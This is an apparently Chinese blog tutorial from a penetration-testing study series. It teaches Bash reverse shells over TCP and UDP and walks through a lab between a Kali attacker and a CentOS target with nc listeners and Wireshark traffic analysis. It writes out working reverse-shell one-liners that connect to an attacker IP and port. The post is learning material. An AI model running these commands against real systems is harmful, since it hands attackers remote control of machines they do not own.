[隧道代理] 隧道代理 — 反弹 Shell - Bash 反弹 Shell

发布于:2025-02-15 ⋅ 阅读:(18) ⋅ 点赞:(0)

关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:Bash 工具介绍

Shell 常被称为 “终端” 或 “壳”,是人与内核之间的翻译官,而 Bash 则是 Linux 中默认使用的 Shell。

常用的 Bash 反弹 Shell 的命令如下:

 ### 走 TCP 协议,对应服务端接收使用 nc -lvvp <指定端口>
 bash -i >& /dev/tcp/攻击机_IP/攻击者端口 0>&1
 bash -i >& /dev/tcp/攻击机_IP/攻击者端口 0>&2
 ​
 ### 走 UDP 协议,对应服务端接收使用 nc -lup <指定端口>
 bash -i >& /dev/udp/攻击机_IP/攻击者端口 0>&1
 bash -i >& /dev/udp/攻击机_IP/攻击者端口 0>&2

简单介绍一下上面这些命令反弹 Shell 的原理,在介绍原理之前,我们先来了解一下构成这些命令的字符的含义(不了解原理也没关系,拿来用就完了):

  • bash -i => 打开一个交互式的 Shell

  • & => 该符号常用于区分文件和文件描述符。

    • >& 符号后面跟文件时,表示将标准输出和标准错误输出重定向至指定文件。

    • >& 符号后面跟数字时,表示后面的数字是文件描述符,如果不加 & 则系统会将后面的数字当作文件名称。

  • 数字 0, 1, 2 是 Linux Shell 下的文件描述符。

    • 0 => 表示标准输入

    • 1 => 表示标准输出

    • 2 => 表示标准错误输出

  • /dev/tcp or /dev/udp => 这两个文件是 Linux 中的特殊设备,可用于建立 Socket 连接,读写这俩文件就相当于是在 Socket 连接中传输数据。

在上面的命令中,bash -i >& /dev/tcp/攻击机_IP/攻击机端口 表示将标准输出和标准错误输出都重定向到攻击机指定端口中,此时,本地命令的执行结果在攻击机中就可以被看到。而 0>&1 或者 0>&2 则表示将标准输入重定向到了标准输出,而又由于前面标准输出已经重定向到了攻击机,因此标准输入也重定向到了攻击机中,此时攻击机又可以在 Shell 中看到自己输入的命令,结合二者,攻击机就得到了一个基本完善的 Shell,既能执行命令,又能看到命令的回显。

不过上面也说了,这只是一个基本完善的 Shell,像 VIM 这种命令是执行不了的,要想执行这种命令,我们就需要将反弹 Shell,升级为交互式 Shell,这个是后话,这里不说。

0x02:Bash 反向反弹 Shell - TCP 通道

Bash 反弹 Shell 只能用于反向连接,不能正向连接哦。对于正向连接与反向连接的使用场景,相信看过前面 NetCat(NC)反弹 Shell 的小伙伴都已经很清楚了,所以笔者这里就不费笔墨讲解场景了,直接开始实验。

0x0201:Bash 反向反弹 Shell — 实验流程

复现环境

  • 攻击机 Kali Linux:IP 192.168.0.102

  • 靶机 CentOS7:IP 192.168.0.105

首先,在攻击机中执行如下命令,监听本机的 9999 端口,等待靶机自己上钩:

 nc -lvvp 9999

然后来到靶机中,执行如下命令,将自己的控制权移交给攻击者的 9999 端口:

 bash -i >& /dev/tcp/192.168.0.102/9999 0>&1

此时我们回到 Kali 攻击机中,可以看到靶机成功上线:

0x0202:Bash 反向反弹 Shell — 流量分析

接下来我们就以上面我们通过 Bash 反弹 Shell 在靶机上执行 ifconfig 命令为例,来分析一下 Bash 反弹 Shell 的流量特征。

在 Kali Linux 中打开 WireShark,并重新在反弹 Shell 的界面中输入 ifconfig 后进行抓包:

如上,这就是走 TCP 通道的 Bash 反弹 Shell 的流量,没有任何加密,一眼就看出攻击者做了啥。

0x03:Bash 反向反弹 Shell - UDP 通道

Bash 使用 UDP 通道进行反弹 Shell 主要是给大家长长见识,实际的话,我感觉不太靠谱,因为我一条命令也执行不了(得自己写脚本改)。

0x0301:Bash 反向反弹 Shell — 实验流程

复现环境

  • 攻击机 Kali Linux:IP 192.168.0.102

  • 靶机 CentOS7:IP 192.168.0.105

首先,在攻击机中执行如下命令,监听本机的 9999 端口,等待靶机自己上钩:

 nc -lup 9999

然后来到靶机中,执行如下命令,将自己的控制权移交给攻击者的 9999 端口:

 bash -i >& /dev/udp/192.168.0.102/9999 0>&1

此时我们回到 Kali 攻击机中,可以看到靶机成功上线,不过很可惜,一句完整的命令都执行不了:

0x0302:Bash 反向反弹 Shell — 流量分析

接下来我们就以上面我们通过 Bash 反弹 Shell 在靶机上执行 w 命令为例,来分析一下走 UDP 的 Bash 反弹 Shell 的流量特征。

在 Kali Linux 中打开 WireShark,并重新在反弹 Shell 的界面中输入 w 后进行抓包:

如上,这就是走 UDP 通道的 Bash 反弹 Shell 的流量,没有任何加密,一眼就看出攻击者做了啥。虽然上面演示的这个有点鸡肋,但是如果你比较牛逼的话,使用 UDP 编的远控工具一般很难被防御,因为 TCP 会走三次握手,会给防火墙很多次机会,UDP 就不会了,直接过,可惜了,就是不稳定。